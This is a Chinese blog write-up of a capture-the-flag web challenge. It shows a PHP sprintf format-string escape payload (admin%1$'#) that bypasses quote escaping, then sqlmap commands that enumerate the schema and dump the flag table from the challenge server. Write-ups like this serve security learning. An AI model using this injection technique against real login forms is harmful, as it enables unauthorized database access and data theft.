博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
[复现]ichunqiu“迎圣诞,拿大奖”活动赛题-web-SQLi
阅读量:2067 次
发布时间:2019-04-29

本文共 1678 字,大约阅读时间需要 5 分钟。

文章目录

题目分析

由题目的名称明显本题是一道sql注入题

  • 尝试盲注、报错注入,猜闭合方式等,无果
  • 目录扫描,无果
  • 用户名为admin,尝试爆破登陆密码,无果
  • 密码未知

当用户名不正确时,会提示username error!。密码不正确时,提示password error!

由于手工测试没有效果,可能存在过滤或转义;这里对用户名进行fuzz
在这里插入图片描述

这里出现sprintf函数警告,查资料了解到,sprintf函数存在格式化字符串逃逸漏洞,由报错可以看出sprintf参数少于%的个数,需要使用占位符的写法,%1$可以逃逸引号的转义;

sprintf漏洞参考资料:[深入解析sprintf格式化字符串漏洞]

构造pyload

admin%1$'#

出现了密码错误的回显,说明拼接语句被执行了;而且是单引号闭合;接下里就是构造sql语句注出数据

在这里插入图片描述
测试发现没有回显,存在bool盲注、时间盲注;使用sqlmap来注入非常方便。
列举数据库系统的架构

sqlmap -u http://49902678ce30456fbc1b76d569658847efe45acb5e404f66.changame.ichunqiu.com/ --data="username=admin&password=123456" --param-del="&" -p username --prefix "%1$'" --suffix "#" -b -v3 --schema --exclude-sysdbs --batch --dbms=mysql// 参数说明--dbms=mysql // 表示指定数据库为mysql--data="xxx" // 指定sqlmap用post方式提交数据--param-del="&" // 用&来分割--data中的post参数 -p // sqlmap默认测试所有的GET和POST参数,使用-p指明想要测试的参数--prefix "xxx"  // 在pyload的前面加上指定内容--suffix "xxx"  // 在pyload后面加上指定内容--batch  //用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。--exclude-sysdbs //列举除系统库外的库表结构-v3 //指定sqlmap输出信息的详细程度为3级,此时sqlmap将会输出注入的payload,默认等级为1

在这里插入图片描述

flag在ctf库的flag表里面,获取表内容:

sqlmap -u http://49902678ce30456fbc1b76d569658847efe45acb5e404f66.changame.ichunqiu.com/ --data="username=admin&password=123456" --param-del="&" -p username --prefix "%1$'" --suffix "#" -v3  --batch --dbms=mysql -T flag --dump// 参数说明-T flag // 指定当前库的flag表,这里省略了-D参数,默认是当前库--dump  // 获取内容,这里获取flag表的所有内容

在这里插入图片描述

个人收获

1.sprinf字符串逃逸漏洞使用%来触发

2. 使用sqlmap实现自定义post注入

参考资料

1.[深入解析sprintf格式化字符串漏洞]

https://blog.csdn.net/weixin_41185953/article/details/80485075
2. [sprintf的文档]
https://www.runoob.com/php/func-string-sprintf.html
3. [php sprintf格式化注入]
https://www.cnblogs.com/nul1/p/9374422.html
4.[sqlmap用户手册]
https://www.secpulse.com/archives/4213.html

你可能感兴趣的文章
【NLP学习笔记】(二)gensim使用之Topics and Transformations
查看>>
【深度学习】LSTM的架构及公式
查看>>
【深度学习】GRU的结构图及公式
查看>>
【python】re模块常用方法
查看>>
剑指offer 19.二叉树的镜像
查看>>
剑指offer 20.顺时针打印矩阵
查看>>
剑指offer 21.包含min函数的栈
查看>>
剑指offer 23.从上往下打印二叉树
查看>>
剑指offer 25.二叉树中和为某一值的路径
查看>>
剑指offer 26. 数组中出现次数超过一半的数字
查看>>
剑指offer 27.二叉树的深度
查看>>
剑指offer 29.字符串的排列
查看>>
剑指offer 31.最小的k个树
查看>>
剑指offer 32.整数中1出现的次数
查看>>
剑指offer 33.第一个只出现一次的字符
查看>>
剑指offer 34.把数组排成最小的数
查看>>
剑指offer 35.数组中只出现一次的数字
查看>>
剑指offer 36.数字在排序数组中出现的次数
查看>>
剑指offer 37.数组中重复的数字
查看>>
剑指offer 38.丑数
查看>>